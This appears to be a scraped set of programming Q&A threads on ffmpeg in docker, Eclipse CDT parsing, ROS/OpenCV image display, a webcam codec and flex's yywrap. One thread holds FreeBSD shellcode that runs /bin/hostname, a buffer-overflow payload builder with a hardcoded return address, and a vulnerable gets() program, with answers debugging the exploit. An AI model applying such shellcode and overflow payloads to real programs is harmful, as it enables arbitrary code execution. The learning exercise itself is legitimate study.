I am running ffmpeg within a docker container, and I am having a problem.
I have a wittled-down debug program (listing below) that simply opens (and reads) a test.mp4 I open the file with fopen(), read and print the first 32 bytes. The values agree and are correct whether running in docker or locally. (ie. the file is accessible and readable in the docker container) However, when it gets to avformat_open_input():
Running locally: Works just fine. (and the real program fully decodes it)
Running in docker container: The call to avformat_open_input() fails with AVERROR_INVALIDDATA. This is with test.mp4 in the docker directory.
I'm a bit lost at this point. I appreciate any ideas.
test program listing: =========================================
#include <stdio.h>
extern "C" {
#include <libavformat/avformat.h>
}
int main (int argc, char **argv)
{
int erc=0;
AVFormatContext* srcFmtCtx = NULL;
const char* srcFile = "test.mp4";
// Simple read/echo
FILE *f = fopen(srcFile, "rb");
printf("fopen() %s 0x%lx\n", srcFile, (unsigned long)f);
for (int i=0; i<4; i++) {
long val;
erc = fread(&val, 1, sizeof(long), f);
printf("[%d]0x%lx ", i, val);
}
printf("\n");
fclose(f);
// Open source with ffmpeg libavformat utils
printf("avformat_open_input(): %s\n", srcFile);
if ((erc = avformat_open_input(&srcFmtCtx, srcFile, NULL, NULL)) < 0) {
printf("avformat_open_input(): Returned AvError: %d\n", erc);
exit(1);
}
printf("avformat_open_input(): Returned normally\n");
avformat_close_input(&srcFmtCtx);
}
It seems my problem is one of version mismatch.
My docker container is constructing a ubuntu:18.10 image (latest available)
That image provides an ffmpeg v3.3.5 (or so), libavformat v57.83.100
avformat_version(): 3756900 Ident: Lavf57.83.100
My local ffmpeg installation is v4.0, libavformat v58.12.100
avformat_version(): 3804260 Build: 3804260 Ident: Lavf58.12.100
One important difference between those versions is that avformat::av_register_all() is deprecated, and no longer used. I based my code on the new sources, and did not have that call. However, the older versions of libavformat requires it. Thus the failure in the docker container, and not in my local environment.
Related
UPDATED: Added complete example and compiler information
I have Eclipse 2019-03 (4.11.0) with CDT 9.7.0.20190309 and the build-in compiler reports false positive errors while using std::index_sequence in C++17:
#include <gtest/gtest.h>
#include <utility>
#include <array>
class Sample {
public:
template<std::size_t N >
std::size_t get_percentage( void ) {
return N;
}
template<std::size_t... Is>
inline std::array<std::size_t, sizeof...(Is)> calculate_percentages( std::index_sequence<Is...> ) noexcept {
return { this->get_percentage<Is>()... };
}
template<std::size_t N>
inline std::array<std::size_t, N> get_percentages( void ) noexcept {
return this->calculate_percentages( std::make_index_sequence<N>() );
/* ^^^^^^^^^^^^^^^^^^^^^ : Invalid arguments ' Candidates are: std::array calculate_percentages(std::integer_sequence) ' */
}
};
TEST( IntegerSequence, InvalidArgumentsError ) {
Sample test;
std::array<std::size_t, 5> data = test.get_percentages<5>();
for( int i = 0; i < 5; i++ ) {
std::cout << data[i] << std::endl;
}
}
int main( int argc, char ** argv ) {
testing::InitGoogleTest( &argc, argv );
return RUN_ALL_TESTS();
}
But the normal compilation succeeds without any problem.
My CDT GCC Built-in Compiler Settings in
Project Properties -> C/C++ General -> Preprocessor Include Paths, Macros etc. -> Providers is as follows:
${COMMAND} ${FLAGS} -E -P -v -dD -std=c++17 "${INPUTS}"
The same applies for CDT Cross GCC Built-in Compiler Settings.
Rebuilding the index does not helped in there.
The GCC version I am using:
gcc (Ubuntu 8.3.0-6ubuntu1) 8.3.0
Many thanks in advance to anyone willing to help...
The problem is caused by the fact that the standard library that comes with gcc 8 and newer uses a new compiler intrinsic called __integer_pack to implement std::make_integer_sequence (and related utilities like std::make_index_sequence).
Eclipse CDT's parser does not currently understand the __integer_pack intrinsic, and therefore it has trouble correctly parsing code that uses std::make_integer_sequence / std::make_index_sequence with these newer gcc versions.
I filed a CDT bug to track adding support for the __integer_pack intrinsic.
Meanwhile, a workaround you could employ is to use gcc 7 or older. If you need gcc 8 or newer to actually build your code, you could still tell Eclipse the look at the standard library headers of e.g. gcc 7 by replacing ${COMMAND} in the mentioned "built-in compiler settings" configuration with g++-7.
UPDATE: The Eclipse bug is now fixed, with the fix targeting CDT's 9.11 release (scheduled to be part Eclipse 2020-03).
I am following image subscribe tutorial on official ROS page. when I run my_subscriber no window popup appears. I type -
rosrun image_transport_tutorial my_subscriber
output is -
init done
opengl support available
And then nothing happens. (even the output "init done" is unexplained because there is not output line in my_subscriber.cpp)
I am following this tutorial - ROS tutorial
I have roscore and rosrun image_transport_tutorial my_publisher pathtofile already running in dofferent terminals.
I checked that publisher is publishing by running command
rostopic list -v
my_subscriber file has the following contents -
#include <ros/ros.h>
#include <ros/ros.h>
#include <image_transport/image_transport.h>
#include <opencv2/highgui/highgui.hpp>
#include <cv_bridge/cv_bridge.h>
#include <stdio.h>
void imageCallback(const sensor_msgs::ImageConstPtr& msg)
{
try
{
cv::imshow("view", cv_bridge::toCvShare(msg, "bgr8")->image);
}
catch (cv_bridge::Exception& e)
{
ROS_ERROR("Could not convert from '%s' to 'bgr8'.", msg->encoding.c_str());
}
}
int main(int argc, char **argv)
{
std::cout<<"kapil";
ros::init(argc, argv, "image_listener");
ros::NodeHandle nh;
cv::namedWindow("view");
cv::startWindowThread();
image_transport::ImageTransport it(nh);
image_transport::Subscriber sub = it.subscribe("camera/image", 1, imageCallback);
ros::spin();
cv::destroyWindow("view");
}
Solved : I added waitKey function in the try block as suggested in one of the answers.
cv::waitKey(30);
According to the comment to this answer, using cv::startWindowThread() does not always work. Maybe this is the issue in your case.
Try to add cv::waitKey(10) after cv::imshow instead. This will wait for some key press for 10 milliseconds, giving the window time to show the image.
(This always seemed to me like a dirty hack, but it is the common way to show images in OpenCV...)
I am new with opencv.
I want to capture images from webcam (intex it-105wc).
I am using Microsoft visual c++ 2008 express edition on windows xp.
There is no problem with build solution, but when i try to debug the code it gives following (this happens wwhile executing cvCaptureFromCAM(CV_CAP_ANY);)
Loaded C:\Program Files\Common Files\Ahead\DSFilter\NeVideo.ax, Binary was not built with debug information.
and then exits the code.
so, is there any problem with my code or is it compatibility issue with webcam??
#include "stdafx.h"
#include<stdio.h>
#include <cv.h>
#include <highgui.h>
void main(int argc,char *argv[])
{
int c;
IplImage* color_img;
CvCapture* cv_cap = cvCaptureFromCAM(CV_CAP_ANY);
if(!cv_cap)
{
printf( "ERROR: Capture is null!\n");
}
cvNamedWindow("Video",0); // create window
for(;;)
{
color_img = cvQueryFrame(cv_cap); // get frame
if(color_img != 0)
cvShowImage("Video", color_img); // show frame
c = cvWaitKey(10); // wait 10 ms or for key stroke
if(c == 27)
break; // if ESC, break and quit
}
/* clean up */
cvReleaseCapture( &cv_cap );
cvDestroyWindow("Video");
}
This error message seems to be related to a video codec from the nero burning tools.
If you do not need this codec, you could just unregister it and see, if that solves your problem.
To do that, execute the following on the commandline:
regsvr32 /u "C:\Program Files\Common Files\Ahead\DSFilter\NeVideo.ax"
You should see the message:
DllUnregisterServer in C:\Program Files\Common Files\Ahead\DSFilter\NeVideo.ax succeeded.
To undo this, execute
regsvr32 "C:\Program Files\Common Files\Ahead\DSFilter\NeVideo.ax"
the Shell code print the hostname(bin/hostname). but when i execute the code its shows me the the path in reverse order but not printing the HOSTNAME.
I am actually doing the buffer over flow .
I am using freebsd intel machine.
this is my code
can you figure out please where is the error
//Prog 1
#include<stdio.h>
main()
{
char shellcode[]= “\x31\xc0\x50\x68\x6e\x61\x6d\x65\x68\x68\x6f\x73\x74\x68\x62
\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x54\x53\xb0\x3b
\x50\xcd\x80”;
int i;
char buf[108];
i=strlen(shellcode);
printf(“%d”,i);
strcpy(buf,shellcode);
for(i=36;i<104:i++)
{
buf[i]='b';
}
buf[104]='\x2c';
buf[105]='\xfa';
buf[106]='\xbf';
buf[107]='\xbf';
printf(“%s”,buf);
return 0;
}
The Above program is injected into below program ...... so it creates the bufferover flow and print the hostname
#include <stdio.h>
int
main (int argc, char **argv){
char buf[100];
printf("Please Enter your Name");
fflush(stdout);
gets(buf);
printf("Hello %s \n",buf);
}
void notcalled(void){
//puts("cccc");
}
you are defining int I; and using i
the for is using a :i++, instead of a ;i++
strncpy() is missing the size_t param too
There is no buffer overflow in this sample code. You are simply printing the shell code, instead of executing it.
The code as posted doesn't even compile, due to things like quotes, i vs I problem, : instead of ; and strncpy needing 3 arguments (possibly more errors).
The shell code may be correct for freebsd, I can't check that. It definitely isn't correct for linux, though.
Apparently you are still not triggering code execution, even though now I see where you have your buffer overflow. Note however that overflowing the buf variable is trying to overwrite the return address for main, so it should print the text in any case. Also, the compiler may have generated a different stack layout than what you expect, or maybe your stack is not executable (although you should get a segfault in this case).
Use a debugger to single step through the code, beginning with the "return" statement in main and see what is happening. You will soon reach a RET instruction which should pop the starting address of your shellcode into the instruction pointer, effectively jumping to it. I suspect that is not happening for some reason.
I have a simple "language" that I'm using Flex(Lexical Analyzer), it's like this:
/* Just like UNIX wc */
%{
int chars = 0;
int words = 0;
int lines = 0;
%}
%%
[a-zA-Z]+ { words++; chars += strlen(yytext); }
\n { chars++; lines++; }
. { chars++; }
%%
int main()
{
yylex();
printf("%8d%8d%8d\n", lines, words, chars);
}
The I run a flex count.l, all goes ok without errors or warnings, then when I try to do a cc lex.yy.c I got this errors:
ubuntu#eeepc:~/Desktop$ cc lex.yy.c
/tmp/ccwwkhvq.o: In function yylex':
lex.yy.c:(.text+0x402): undefined reference toyywrap'
/tmp/ccwwkhvq.o: In function input':
lex.yy.c:(.text+0xe25): undefined reference toyywrap'
collect2: ld returned 1 exit status
What is wrong?
The scanner calls this function on end of file, so you can point it to another file and continue scanning its contents. If you don't need this, use
%option noyywrap
in the scanner specification.
Although disabling yywrap is certainly the best option, it may also be possible to link with -lfl to use the default yywrap() function in the library fl (i.e. libfl.a) provided by flex. Posix requires that library to be available with the linker flag -ll and the default OS X install only provides that name.
I prefer to define my own yywrap(). I'm compiling with C++, but the point should be obvious. If someone calls the compiler with multiple source files, I store them in a list or array, and then yywrap() is called at the end of each file to give you a chance to continue with a new file.
int yywrap() {
// open next reference or source file and start scanning
if((yyin = compiler->getNextFile()) != NULL) {
line = 0; // reset line counter for next source file
return 0;
}
return 1;
}
int yywrap(){return(1);}
use this code at the end of the program..Simple
flex doesn't always install with its development libraries (which is odd, as it is a development tool). Install the libraries, and life is better.
On Redhat base systems:
yum -y install flex-devel
./configure && make
On Debian based systems
sudo apt-get install libfl-dev
As a note for followers, flex 2.6.3 has a bug where libfl.a "typically would" define yywrap but then doesn't in certain instances, so check if that's your version of flex, might be related to your problem:
https://github.com/westes/flex/issues/154